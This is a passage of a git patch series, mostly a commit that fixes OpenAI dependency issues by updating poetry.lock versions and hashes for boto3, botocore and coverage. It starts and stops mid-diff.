no_enter, timeout) + def _ready_for_next_command(self) -> None: self._clear_screen() From 19f166e608b2832a3beb01f949c165eb67bbe82d Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Mon, 18 Aug 2025 18:22:31 -0400 Subject: [PATCH 005/506] Fix openai dependencies issue (#14) Co-authored-by: Ahmed Allam --- poetry.lock | 404 ++++++++++++++++++++++++++----------------------- pyproject.toml | 3 +- 2 files changed, 218 insertions(+), 189 deletions(-) diff --git a/poetry.lock b/poetry.lock index e44dfdc8d..380f99c58 100644 --- a/poetry.lock +++ b/poetry.lock @@ -514,34 +514,34 @@ uvloop = ["uvloop (>=0.15.2)"] [[package]] name = "boto3" -version = "1.34.34" +version = "1.36.0" description = "The AWS SDK for Python" optional = false -python-versions = ">= 3.8" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "boto3-1.34.34-py3-none-any.whl", hash = "sha256:33a8b6d9136fa7427160edb92d2e50f2035f04e9d63a2d1027349053e12626aa"}, - {file = "boto3-1.34.34.tar.gz", hash = "sha256:b2f321e20966f021ec800b7f2c01287a3dd04fc5965acdfbaa9c505a24ca45d1"}, + {file = "boto3-1.36.0-py3-none-any.whl", hash = "sha256:d0ca7a58ce25701a52232cc8df9d87854824f1f2964b929305722ebc7959d5a9"}, + {file = "boto3-1.36.0.tar.gz", hash = "sha256:159898f51c2997a12541c0e02d6e5a8fe2993ddb307b9478fd9a339f98b57e00"}, ] [package.dependencies] -botocore = ">=1.34.34,<1.35.0" +botocore = ">=1.36.0,<1.37.0" jmespath = ">=0.7.1,<2.0.0" -s3transfer = ">=0.10.0,<0.11.0" +s3transfer = ">=0.11.0,<0.12.0" [package.extras] crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] [[package]] name = "botocore" -version = "1.34.162" +version = "1.36.26" description = "Low-level, data-driven core of boto 3." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "botocore-1.34.162-py3-none-any.whl", hash = "sha256:2d918b02db88d27a75b48275e6fb2506e9adaaddbec1ffa6a8a0898b34e769be"}, - {file = "botocore-1.34.162.tar.gz", hash = "sha256:adc23be4fb99ad31961236342b7cbf3c0bfc62532cd02852196032e8c0d682f3"}, + {file = "botocore-1.36.26-py3-none-any.whl", hash = "sha256:4e3f19913887a58502e71ef8d696fe7eaa54de7813ff73390cd5883f837dfa6e"}, + {file = "botocore-1.36.26.tar.gz", hash = "sha256:4a63bcef7ecf6146fd3a61dc4f9b33b7473b49bdaf1770e9aaca6eee0c9eab62"}, ] [package.dependencies] @@ -550,7 +550,7 @@ python-dateutil = ">=2.1,<3.0.0" urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version >= \"3.10\""} [package.extras] -crt = ["awscrt (==0.21.2)"] +crt = ["awscrt (==0.23.8)"] [[package]] name = "cachetools" @@ -903,105 +903,121 @@ test-no-images = ["pytest", "pytest-cov", "pytest-rerunfailures", "pytest-xdist" [[package]] name = "coverage" -version = "7.10.3" +version = "7.10.4" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "coverage-7.10.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:53808194afdf948c462215e9403cca27a81cf150d2f9b386aee4dab614ae2ffe"}, - {file = "coverage-7.10.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f4d1b837d1abf72187a61645dbf799e0d7705aa9232924946e1f57eb09a3bf00"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2a90dd4505d3cc68b847ab10c5ee81822a968b5191664e8a0801778fa60459fa"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d52989685ff5bf909c430e6d7f6550937bc6d6f3e6ecb303c97a86100efd4596"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bdb558a1d97345bde3a9f4d3e8d11c9e5611f748646e9bb61d7d612a796671b5"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c9e6331a8f09cb1fc8bda032752af03c366870b48cce908875ba2620d20d0ad4"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:992f48bf35b720e174e7fae916d943599f1a66501a2710d06c5f8104e0756ee1"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c5595fc4ad6a39312c786ec3326d7322d0cf10e3ac6a6df70809910026d67cfb"}, - {file = "coverage-7.10.3-cp310-cp310-win32.whl", hash = "sha256:9e92fa1f2bd5a57df9d00cf9ce1eb4ef6fccca4ceabec1c984837de55329db34"}, - {file = "coverage-7.10.3-cp310-cp310-win_amd64.whl", hash = "sha256:b96524d6e4a3ce6a75c56bb15dbd08023b0ae2289c254e15b9fbdddf0c577416"}, - {file = "coverage-7.10.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f2ff2e2afdf0d51b9b8301e542d9c21a8d084fd23d4c8ea2b3a1b3c96f5f7397"}, - {file = "coverage-7.10.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:18ecc5d1b9a8c570f6c9b808fa9a2b16836b3dd5414a6d467ae942208b095f85"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1af4461b25fe92889590d438905e1fc79a95680ec2a1ff69a591bb3fdb6c7157"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:3966bc9a76b09a40dc6063c8b10375e827ea5dfcaffae402dd65953bef4cba54"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:205a95b87ef4eb303b7bc5118b47b6b6604a644bcbdb33c336a41cfc0a08c06a"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5b3801b79fb2ad61e3c7e2554bab754fc5f105626056980a2b9cf3aef4f13f84"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b0dc69c60224cda33d384572da945759756e3f06b9cdac27f302f53961e63160"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a83d4f134bab2c7ff758e6bb1541dd72b54ba295ced6a63d93efc2e20cb9b124"}, - {file = "coverage-7.10.3-cp311-cp311-win32.whl", hash = "sha256:54e409dd64e5302b2a8fdf44ec1c26f47abd1f45a2dcf67bd161873ee05a59b8"}, - {file = "coverage-7.10.3-cp311-cp311-win_amd64.whl", hash = "sha256:30c601610a9b23807c5e9e2e442054b795953ab85d525c3de1b1b27cebeb2117"}, - {file = "coverage-7.10.3-cp311-cp311-win_arm64.whl", hash = "sha256:dabe662312a97958e932dee056f2659051d822552c0b866823e8ba1c2fe64770"}, - {file = "coverage-7.10.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:449c1e2d3a84d18bd204258a897a87bc57380072eb2aded6a5b5226046207b42"}, - {file = "coverage-7.10.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1d4f9ce50b9261ad196dc2b2e9f1fbbee21651b54c3097a25ad783679fd18294"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4dd4564207b160d0d45c36a10bc0a3d12563028e8b48cd6459ea322302a156d7"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:5ca3c9530ee072b7cb6a6ea7b640bcdff0ad3b334ae9687e521e59f79b1d0437"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b6df359e59fa243c9925ae6507e27f29c46698359f45e568fd51b9315dbbe587"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a181e4c2c896c2ff64c6312db3bda38e9ade2e1aa67f86a5628ae85873786cea"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a374d4e923814e8b72b205ef6b3d3a647bb50e66f3558582eda074c976923613"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:daeefff05993e5e8c6e7499a8508e7bd94502b6b9a9159c84fd1fe6bce3151cb"}, - {file = "coverage-7.10.3-cp312-cp312-win32.whl", hash = "sha256:187ecdcac21f9636d570e419773df7bd2fda2e7fa040f812e7f95d0bddf5f79a"}, - {file = "coverage-7.10.3-cp312-cp312-win_amd64.whl", hash = "sha256:4a50ad2524ee7e4c2a95e60d2b0b83283bdfc745fe82359d567e4f15d3823eb5"}, - {file = "coverage-7.10.3-cp312-cp312-win_arm64.whl", hash = "sha256:c112f04e075d3495fa3ed2200f71317da99608cbb2e9345bdb6de8819fc30571"}, - {file = "coverage-7.10.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b99e87304ffe0eb97c5308447328a584258951853807afdc58b16143a530518a"}, - {file = "coverage-7.10.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4af09c7574d09afbc1ea7da9dcea23665c01f3bc1b1feb061dac135f98ffc53a"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:488e9b50dc5d2aa9521053cfa706209e5acf5289e81edc28291a24f4e4488f46"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:913ceddb4289cbba3a310704a424e3fb7aac2bc0c3a23ea473193cb290cf17d4"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b1f91cbc78c7112ab84ed2a8defbccd90f888fcae40a97ddd6466b0bec6ae8a"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b0bac054d45af7cd938834b43a9878b36ea92781bcb009eab040a5b09e9927e3"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:fe72cbdd12d9e0f4aca873fa6d755e103888a7f9085e4a62d282d9d5b9f7928c"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c1e2e927ab3eadd7c244023927d646e4c15c65bb2ac7ae3c3e9537c013700d21"}, - {file = "coverage-7.10.3-cp313-cp313-win32.whl", hash = "sha256:24d0c13de473b04920ddd6e5da3c08831b1170b8f3b17461d7429b61cad59ae0"}, - {file = "coverage-7.10.3-cp313-cp313-win_amd64.whl", hash = "sha256:3564aae76bce4b96e2345cf53b4c87e938c4985424a9be6a66ee902626edec4c"}, - {file = "coverage-7.10.3-cp313-cp313-win_arm64.whl", hash = "sha256:f35580f19f297455f44afcd773c9c7a058e52eb6eb170aa31222e635f2e38b87"}, - {file = "coverage-7.10.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07009152f497a0464ffdf2634586787aea0e69ddd023eafb23fc38267db94b84"}, - {file = "coverage-7.10.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8dd2ba5f0c7e7e8cc418be2f0c14c4d9e3f08b8fb8e4c0f83c2fe87d03eb655e"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ae22b97003c74186e034a93e4f946c75fad8c0ce8d92fbbc168b5e15ee2841f"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:eb329f1046888a36b1dc35504d3029e1dd5afe2196d94315d18c45ee380f67d5"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ce01048199a91f07f96ca3074b0c14021f4fe7ffd29a3e6a188ac60a5c3a4af8"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:08b989a06eb9dfacf96d42b7fb4c9a22bafa370d245dc22fa839f2168c6f9fa1"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:669fe0d4e69c575c52148511029b722ba8d26e8a3129840c2ce0522e1452b256"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:3262d19092771c83f3413831d9904b1ccc5f98da5de4ffa4ad67f5b20c7aaf7b"}, - {file = "coverage-7.10.3-cp313-cp313t-win32.whl", hash = "sha256:cc0ee4b2ccd42cab7ee6be46d8a67d230cb33a0a7cd47a58b587a7063b6c6b0e"}, - {file = "coverage-7.10.3-cp313-cp313t-win_amd64.whl", hash = "sha256:03db599f213341e2960430984e04cf35fb179724e052a3ee627a068653cf4a7c"}, - {file = "coverage-7.10.3-cp313-cp313t-win_arm64.whl", hash = "sha256:46eae7893ba65f53c71284585a262f083ef71594f05ec5c85baf79c402369098"}, - {file = "coverage-7.10.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:bce8b8180912914032785850d8f3aacb25ec1810f5f54afc4a8b114e7a9b55de"}, - {file = "coverage-7.10.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:07790b4b37d56608536f7c1079bd1aa511567ac2966d33d5cec9cf520c50a7c8"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e79367ef2cd9166acedcbf136a458dfe9a4a2dd4d1ee95738fb2ee581c56f667"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:419d2a0f769f26cb1d05e9ccbc5eab4cb5d70231604d47150867c07822acbdf4"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee221cf244757cdc2ac882e3062ab414b8464ad9c884c21e878517ea64b3fa26"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c2079d8cdd6f7373d628e14b3357f24d1db02c9dc22e6a007418ca7a2be0435a"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:bd8df1f83c0703fa3ca781b02d36f9ec67ad9cb725b18d486405924f5e4270bd"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6b4e25e0fa335c8aa26e42a52053f3786a61cc7622b4d54ae2dad994aa754fec"}, - {file = "coverage-7.10.3-cp314-cp314-win32.whl", hash = "sha256:d7c3d02c2866deb217dce664c71787f4b25420ea3eaf87056f44fb364a3528f5"}, - {file = "coverage-7.10.3-cp314-cp314-win_amd64.whl", hash = "sha256:9c8916d44d9e0fe6cdb2227dc6b0edd8bc6c8ef13438bbbf69af7482d9bb9833"}, - {file = "coverage-7.10.3-cp314-cp314-win_arm64.whl", hash = "sha256:1007d6a2b3cf197c57105cc1ba390d9ff7f0bee215ced4dea530181e49c65ab4"}, - {file = "coverage-7.10.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:ebc8791d346410d096818788877d675ca55c91db87d60e8f477bd41c6970ffc6"}, - {file = "coverage-7.10.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1f4e4d8e75f6fd3c6940ebeed29e3d9d632e1f18f6fb65d33086d99d4d073241"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:24581ed69f132b6225a31b0228ae4885731cddc966f8a33fe5987288bdbbbd5e"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ec151569ddfccbf71bac8c422dce15e176167385a00cd86e887f9a80035ce8a5"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2ae8e7c56290b908ee817200c0b65929b8050bc28530b131fe7c6dfee3e7d86b"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5fb742309766d7e48e9eb4dc34bc95a424707bc6140c0e7d9726e794f11b92a0"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c65e2a5b32fbe1e499f1036efa6eb9cb4ea2bf6f7168d0e7a5852f3024f471b1"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d48d2cb07d50f12f4f18d2bb75d9d19e3506c26d96fffabf56d22936e5ed8f7c"}, - {file = "coverage-7.10.3-cp314-cp314t-win32.whl", hash = "sha256:dec0d9bc15ee305e09fe2cd1911d3f0371262d3cfdae05d79515d8cb712b4869"}, - {file = "coverage-7.10.3-cp314-cp314t-win_amd64.whl", hash = "sha256:424ea93a323aa0f7f01174308ea78bde885c3089ec1bef7143a6d93c3e24ef64"}, - {file = "coverage-7.10.3-cp314-cp314t-win_arm64.whl", hash = "sha256:f5983c132a62d93d71c9ef896a0b9bf6e6828d8d2ea32611f58684fba60bba35"}, - {file = "coverage-7.10.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:da749daa7e141985487e1ff90a68315b0845930ed53dc397f4ae8f8bab25b551"}, - {file = "coverage-7.10.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3126fb6a47d287f461d9b1aa5d1a8c97034d1dffb4f452f2cf211289dae74ef"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3da794db13cc27ca40e1ec8127945b97fab78ba548040047d54e7bfa6d442dca"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4e27bebbd184ef8d1c1e092b74a2b7109dcbe2618dce6e96b1776d53b14b3fe8"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8fd4ee2580b9fefbd301b4f8f85b62ac90d1e848bea54f89a5748cf132782118"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:6999920bdd73259ce11cabfc1307484f071ecc6abdb2ca58d98facbcefc70f16"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c3623f929db885fab100cb88220a5b193321ed37e03af719efdbaf5d10b6e227"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:25b902c5e15dea056485d782e420bb84621cc08ee75d5131ecb3dbef8bd1365f"}, - {file = "coverage-7.10.3-cp39-cp39-win32.whl", hash = "sha256:f930a4d92b004b643183451fe9c8fe398ccf866ed37d172ebaccfd443a097f61"}, - {file = "coverage-7.10.3-cp39-cp39-win_amd64.whl", hash = "sha256:08e638a93c8acba13c7842953f92a33d52d73e410329acd472280d2a21a6c0e1"}, - {file = "coverage-7.10.3-py3-none-any.whl", hash = "sha256:416a8d74dc0adfd33944ba2f405897bab87b7e9e84a391e09d241956bd953ce1"}, - {file = "coverage-7.10.3.tar.gz", hash = "sha256:812ba9250532e4a823b070b0420a36499859542335af3dca8f47fc6aa1a05619"}, + {file = "coverage-7.10.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d92d6edb0ccafd20c6fbf9891ca720b39c2a6a4b4a6f9cf323ca2c986f33e475"}, + {file = "coverage-7.10.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7202da14dc0236884fcc45665ffb2d79d4991a53fbdf152ab22f69f70923cc22"}, + {file = "coverage-7.10.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ada418633ae24ec8d0fcad5efe6fc7aa3c62497c6ed86589e57844ad04365674"}, + {file = "coverage-7.10.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b828e33eca6c3322adda3b5884456f98c435182a44917ded05005adfa1415500"}, + {file = "coverage-7.10.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:802793ba397afcfdbe9f91f89d65ae88b958d95edc8caf948e1f47d8b6b2b606"}, + {file = "coverage-7.10.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d0b23512338c54101d3bf7a1ab107d9d75abda1d5f69bc0887fd079253e4c27e"}, + {file = "coverage-7.10.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f36b7dcf72d06a8c5e2dd3aca02be2b1b5db5f86404627dff834396efce958f2"}, + {file = "coverage-7.10.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fce316c367a1dc2c411821365592eeb335ff1781956d87a0410eae248188ba51"}, + {file = "coverage-7.10.4-cp310-cp310-win32.whl", hash = "sha256:8c5dab29fc8070b3766b5fc85f8d89b19634584429a2da6d42da5edfadaf32ae"}, + {file = "coverage-7.10.4-cp310-cp310-win_amd64.whl", hash = "sha256:4b0d114616f0fccb529a1817457d5fb52a10e106f86c5fb3b0bd0d45d0d69b93"}, + {file = "coverage-7.10.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:05d5f98ec893d4a2abc8bc5f046f2f4367404e7e5d5d18b83de8fde1093ebc4f"}, + {file = "coverage-7.10.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9267efd28f8994b750d171e58e481e3bbd69e44baed540e4c789f8e368b24b88"}, + {file = "coverage-7.10.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4456a039fdc1a89ea60823d0330f1ac6f97b0dbe9e2b6fb4873e889584b085fb"}, + {file = "coverage-7.10.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c2bfbd2a9f7e68a21c5bd191be94bfdb2691ac40d325bac9ef3ae45ff5c753d9"}, + {file = "coverage-7.10.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ab7765f10ae1df7e7fe37de9e64b5a269b812ee22e2da3f84f97b1c7732a0d8"}, + {file = "coverage-7.10.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0a09b13695166236e171ec1627ff8434b9a9bae47528d0ba9d944c912d33b3d2"}, + {file = "coverage-7.10.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5c9e75dfdc0167d5675e9804f04a56b2cf47fb83a524654297000b578b8adcb7"}, + {file = "coverage-7.10.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c751261bfe6481caba15ec005a194cb60aad06f29235a74c24f18546d8377df0"}, + {file = "coverage-7.10.4-cp311-cp311-win32.whl", hash = "sha256:051c7c9e765f003c2ff6e8c81ccea28a70fb5b0142671e4e3ede7cebd45c80af"}, + {file = "coverage-7.10.4-cp311-cp311-win_amd64.whl", hash = "sha256:1a647b152f10be08fb771ae4a1421dbff66141e3d8ab27d543b5eb9ea5af8e52"}, + {file = "coverage-7.10.4-cp311-cp311-win_arm64.whl", hash = "sha256:b09b9e4e1de0d406ca9f19a371c2beefe3193b542f64a6dd40cfcf435b7d6aa0"}, + {file = "coverage-7.10.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:a1f0264abcabd4853d4cb9b3d164adbf1565da7dab1da1669e93f3ea60162d79"}, + {file = "coverage-7.10.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:536cbe6b118a4df231b11af3e0f974a72a095182ff8ec5f4868c931e8043ef3e"}, + {file = "coverage-7.10.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9a4c0d84134797b7bf3f080599d0cd501471f6c98b715405166860d79cfaa97e"}, + {file = "coverage-7.10.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7c155fc0f9cee8c9803ea0ad153ab6a3b956baa5d4cd993405dc0b45b2a0b9e0"}, + {file = "coverage-7.10.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a5f2ab6e451d4b07855d8bcf063adf11e199bff421a4ba57f5bb95b7444ca62"}, + {file = "coverage-7.10.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:685b67d99b945b0c221be0780c336b303a7753b3e0ec0d618c795aada25d5e7a"}, + {file = "coverage-7.10.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0c079027e50c2ae44da51c2e294596cbc9dbb58f7ca45b30651c7e411060fc23"}, + {file = "coverage-7.10.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3749aa72b93ce516f77cf5034d8e3c0dfd45c6e8a163a602ede2dc5f9a0bb927"}, + {file = "coverage-7.10.4-cp312-cp312-win32.whl", hash = "sha256:fecb97b3a52fa9bcd5a7375e72fae209088faf671d39fae67261f37772d5559a"}, + {file = "coverage-7.10.4-cp312-cp312-win_amd64.whl", hash = "sha256:26de58f355626628a21fe6a70e1e1fad95702dafebfb0685280962ae1449f17b"}, + {file = "coverage-7.10.4-cp312-cp312-win_arm64.whl", hash = "sha256:67e8885408f8325198862bc487038a4980c9277d753cb8812510927f2176437a"}, + {file = "coverage-7.10.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2b8e1d2015d5dfdbf964ecef12944c0c8c55b885bb5c0467ae8ef55e0e151233"}, + {file = "coverage-7.10.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:25735c299439018d66eb2dccf54f625aceb78645687a05f9f848f6e6c751e169"}, + {file = "coverage-7.10.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:715c06cb5eceac4d9b7cdf783ce04aa495f6aff657543fea75c30215b28ddb74"}, + {file = "coverage-7.10.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e017ac69fac9aacd7df6dc464c05833e834dc5b00c914d7af9a5249fcccf07ef"}, + {file = "coverage-7.10.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bad180cc40b3fccb0f0e8c702d781492654ac2580d468e3ffc8065e38c6c2408"}, + {file = "coverage-7.10.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:becbdcd14f685fada010a5f792bf0895675ecf7481304fe159f0cd3f289550bd"}, + {file = "coverage-7.10.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0b485ca21e16a76f68060911f97ebbe3e0d891da1dbbce6af7ca1ab3f98b9097"}, + {file = "coverage-7.10.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6c1d098ccfe8e1e0a1ed9a0249138899948afd2978cbf48eb1cc3fcd38469690"}, + {file = "coverage-7.10.4-cp313-cp313-win32.whl", hash = "sha256:8630f8af2ca84b5c367c3df907b1706621abe06d6929f5045fd628968d421e6e"}, + {file = "coverage-7.10.4-cp313-cp313-win_amd64.whl", hash = "sha256:f68835d31c421736be367d32f179e14ca932978293fe1b4c7a6a49b555dff5b2"}, + {file = "coverage-7.10.4-cp313-cp313-win_arm64.whl", hash = "sha256:6eaa61ff6724ca7ebc5326d1fae062d85e19b38dd922d50903702e6078370ae7"}, + {file = "coverage-7.10.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:702978108876bfb3d997604930b05fe769462cc3000150b0e607b7b444f2fd84"}, + {file = "coverage-7.10.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e8f978e8c5521d9c8f2086ac60d931d583fab0a16f382f6eb89453fe998e2484"}, + {file = "coverage-7.10.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:df0ac2ccfd19351411c45e43ab60932b74472e4648b0a9edf6a3b58846e246a9"}, + {file = "coverage-7.10.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:73a0d1aaaa3796179f336448e1576a3de6fc95ff4f07c2d7251d4caf5d18cf8d"}, + {file = "coverage-7.10.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:873da6d0ed6b3ffc0bc01f2c7e3ad7e2023751c0d8d86c26fe7322c314b031dc"}, + {file = "coverage-7.10.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c6446c75b0e7dda5daa876a1c87b480b2b52affb972fedd6c22edf1aaf2e00ec"}, + {file = "coverage-7.10.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = 